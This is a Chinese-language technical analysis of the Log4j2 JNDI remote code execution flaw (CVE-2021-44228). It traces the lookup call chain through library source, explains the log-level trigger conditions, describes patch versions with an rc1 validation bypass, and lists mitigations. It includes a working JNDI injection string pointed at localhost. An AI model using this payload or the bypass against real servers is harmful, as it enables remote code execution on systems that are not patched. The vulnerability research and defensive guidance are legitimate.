CVE-2021-44228 Log4j RCE 浅析

Log4j2Lookups 是一项功能强大的功能,用于在日志记录过程中动态获取和替换属性值。

通过 Lookups,可以引用环境变量、系统属性、配置文件中定义的属性等,以在日志消息中动态插入相关的值。

前沿

Lookups 使用 ${} 语法来引用属性,${} 中的内容可以是环境变量、系统属性、配置文件中的属性或其他支持的查找类型。

例如,${env:USER} 引用环境变量 USER 的值,${java:version} 引用 Java 运行时的版本。

除了配置文件,Log4j2 还允许在任何地方使用约定格式来获取环境中的指定配置信息。这个设定是导致漏洞的原因之一。

Lookups 中,可以使用如下配置帮助开发。

其中最为关键的则是 JNDI,是漏洞的直接导火索。

漏洞简介

漏洞适用版本为 2.0 <= Apache Log4j2 <= 2.14.1,只需引入 log4j-api、log4j-core 两个 JAR

入口函数为 logIfEnableddebug、info、warn、error、fatal 等均会触发。

漏洞分析

配置

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.13.3</version>
</dependency>

代码。

1
2
3
4
5
6
7
8
9
10
11
12
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4jRCE {
private static final Logger logger = LogManager.getLogger(log4jRCE.class);

public static void main(String[] args) {

logger.error("${jndi:ldap://127.0.0.1:14514/test}");
}
}

调用链

MessagePatternConverter#format

快进到 MessagePatternConverter#format,该方法对日志内容进行解析和格式化,并返回最终格式化的内容,第 16 行判断包含 ${ 的字符的时候,进入 if 判断,然后在 19 行进入 replace 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// MessagePatternConverter (org.apache.logging.log4j.core.pattern)
public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {

final boolean doRender = textRenderer != null;
final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;

final StringBuilderFormattable stringBuilderFormattable = (StringBuilderFormattable) msg;
final int offset = workingBuilder.length();
stringBuilderFormattable.formatTo(workingBuilder);

// TODO can we optimize this?
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
if (doRender) {
textRenderer.render(workingBuilder, toAppendTo);
}
return;
}
// ...
}

StrSubstitutor#replace

StrSubstitutor#replace 在第 7 行调用了 substitute 方法。

1
2
3
4
5
6
7
8
9
10
11
// StrSubstitutor (org.apache.logging.log4j.core.lookup)
public String replace(final LogEvent event, final String source) {
if (source == null) {
return null;
}
final StringBuilder buf = new StringBuilder(source);
if (!substitute(event, buf, 0, source.length())) {
return source;
}
return buf.toString();
}

StrSubstitutor#substitute

StrSubstitutor#substitute 中分别定义了 prefixMatcher、suffixMatchervalueDelimiterMatcher

17startMatchLen 使用 prefixMatcher 匹配到 ${

44endMatchLen 使用 suffixMatcher 匹配到 }

然后 50 行提取头尾中间的值赋给 varNameExpr59 行赋值给 varName

最后在 90 行调用 resolveVariable 方法解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
// StrSubstitutor (org.apache.logging.log4j.core.lookup)
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List<String> priorVariables) {
final StrMatcher prefixMatcher = getVariablePrefixMatcher(); // prefixMatcher: "org.apache.logging.log4j.core.lookup.StrMatcher$StringMatcher@694abbdc [$, {]"
final StrMatcher suffixMatcher = getVariableSuffixMatcher(); // suffixMatcher: "org.apache.logging.log4j.core.lookup.StrMatcher$StringMatcher@2e005c4b [}]"
final char escape = getEscapeChar();
final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher(); // valueDelimiterMatcher: "org.apache.logging.log4j.core.lookup.StrMatcher$StringMatcher@4567f35d [:, -]"
final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();

final boolean top = priorVariables == null;
boolean altered = false;
int lengthChange = 0;
char[] chars = getChars(buf);
int bufEnd = offset + length;
int pos = offset;
while (pos < bufEnd) {
final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
if (startMatchLen == 0) {
pos++;
} else {
// found variable start marker
if (pos > offset && chars[pos - 1] == escape) {
// escaped
buf.deleteCharAt(pos - 1);
chars = getChars(buf);
lengthChange--;
altered = true;
bufEnd--;
} else {
// find suffix
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
while (pos < bufEnd) {
if (substitutionInVariablesEnabled
&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
// found a nested variable start
nestedVarCount++;
pos += endMatchLen;
continue;
}

endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
pos++;
} else {
// found variable end marker
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
pos += endMatchLen;
final int endPos = pos;

String varName = varNameExpr;
String varDefaultValue = null;

if (valueDelimiterMatcher != null) {
final char [] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = 0;
for (int i = 0; i < varNameExprChars.length; i++) {
// if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
if (!substitutionInVariablesEnabled
&& prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
break;
}
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
}

// on the first call initialize priorVariables
if (priorVariables == null) {
priorVariables = new ArrayList<>();
priorVariables.add(new String(chars, offset, length + lengthChange));
}

// handle cyclic substitution
checkCyclicSubstitution(varName, priorVariables);
priorVariables.add(varName);

// resolve the variable
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
// ...
}
// ...
}
}
}
}
}
// ...
}

StrSubstitutor#resolveVariable

StrSubstitutor#resolveVariable 中调用 Interpolator#lookup 功能。

1
2
3
4
5
6
7
8
9
// StrSubstitutor (org.apache.logging.log4j.core.lookup)
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}

Interpolator#lookup

Interpolator#lookup 在第 7 行以 : 为标记取 prefix,对于 jndi:ldap://127.0.0.1:14514/test 来说,此处的 prefixjndinameldap://127.0.0.1:14514/test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Interpolator (org.apache.logging.log4j.core.lookup)
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}

final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = lookups.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}

if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}

然后在第 11 行获取 StrLookup,在第 17 行调用 lookup 方法,得以调用 JndiLookup#lookup

image-20230710152804876

JndiLookup#lookup

JndiLookup#lookup 调用 JndiManager#lookup,最后到 context#lookup 完成 JNDI 注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// JndiLookup (org.apache.logging.log4j.core.lookup)
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
}
final String jndiName = convertJndiName(key);
try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
final Object value = jndiManager.lookup(jndiName);
return value == null ? null : String.valueOf(value);
} catch (final NamingException e) {
LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
return null;
}
}

触发条件

Log4j2 有日志优先级,每个优先级对应一个数值 intLevel 记录在 StandardLevel 这个枚举类型中,数值越小优先级越高。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// StandardLevel (org.apache.logging.log4j.spi)
public enum StandardLevel {

OFF(0),

FATAL(100),

ERROR(200),

WARN(300),

INFO(400),

DEBUG(500),

TRACE(600),

ALL(Integer.MAX_VALUE);
}

log.error 开始看,进入 AbstractLogger#logIfEnabled

1
2
3
4
// AbstractLogger (org.apache.logging.log4j.spi)
public void error(final String message) {
logIfEnabled(FQCN, Level.ERROR, null, message, (Throwable) null);
}

AbstractLogger#logIfEnabled 判断 isEnabled,才会进入 logMessage

1
2
3
4
5
6
7
// AbstractLogger (org.apache.logging.log4j.spi)
public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message,
final Throwable t) {
if (isEnabled(level, marker, message, t)) {
logMessage(fqcn, level, marker, message, t);
}
}

Logger#isEnabled 调用日志过滤器。

1
2
3
4
// Logger (org.apache.logging.log4j.core)
public boolean isEnabled(final Level level, final Marker marker, final String message, final Throwable t) {
return privateConfig.filter(level, marker, message, t);
}

Logger$PrivateConfig#filter 的第 10 行,比较了 intLevel 的值,默认是 200,小于等于才可以返回 True,即只有 FATALERROR 可以触发漏洞。

1
2
3
4
5
6
7
8
9
10
11
// Logger$PrivateConfig (org.apache.logging.log4j.core)
boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) {
final Filter filter = config.getFilter();
if (filter != null) {
final Filter.Result r = filter.filter(logger, level, marker, (Object) msg, t);
if (r != Filter.Result.NEUTRAL) {
return r == Filter.Result.ACCEPT;
}
}
return level != null && intLevel >= level.intLevel();
}

当然可以修改默认的 level,这里在第 9 行处改为 info,即小于等于 400 即可触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- -Dlog4j.configurationFile=path/to/log4j2.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>

漏洞修复

2.15.0-rc1

2.15.0-rc1更新中,移除了从 Properties 中获取 Lookup 配置的选项,并修改判断逻辑,默认不开启 Lookup 功能。

并在 MessagePatternConverter 类中创建了内部类 SimpleMessagePatternConverter、FormattedMessagePatternConverter、LookupMessagePatternConverter、RenderingPatternConverter,将一些扩展的功能进行模块化的处理,而只有在开启 Lookup 功能时才会使用 LookupMessagePatternConverter 来替换。

在默认情况下,将使用 SimpleMessagePatternConverter 进行消息的格式化处理,不会解析其中的 ${} 关键字。

第二个关键位置JndiManager#lookup 方法中添加了校验,使用了 JndiManagerFactory 来创建 JndiManager 实例,不再使用 InitialContext,而是使用子类 InitialDirContext,并为其添加白名单 JNDI 协议、白名单主机名、白名单类名。

并在关键的 Lookup 函数中加入了校验判断,但是由于校验逻辑有误,程序在 catch 住异常后没有 return,导致可以利用 URISyntaxException 异常来绕过校验,直接走到后面的 Lookup。例如在 URI 中插入空格,即可触发漏洞。

虽然此处绕过了校验,但由于默认 Lookup 配置为关闭,需要开启才能触发漏洞,所以危害较低。

2.15.0-rc2

rc1 更新被绕过后,官方发布了 rc2,代码如下,可以看到是在 catch 里添加了 return,修复了 rc1 的绕过。

2.16.0-rc1

更新,版本号 2.16-rc1,通过两个版本的对比可以看出,官方移除了 MessagePatternConverter 的内部实现类 LookupMessagePatternConverter,并删除了相关调用代码。

生产环境修复

前两项在 2.10.2 以下无效。

  • 升级 Log4j 版本 到 2.15.0-rc2

  • 设置 JVM 参数:-Dlog4j2.formatMsgNoLookups=true

  • 设置系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true

  • 删除 JndiLookupzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class,重启服务

  • JDK 升级到 11.0.1/8u191/7u201/6u211

  • 禁用 JNDI

REFER

浅谈 Log4j2 漏洞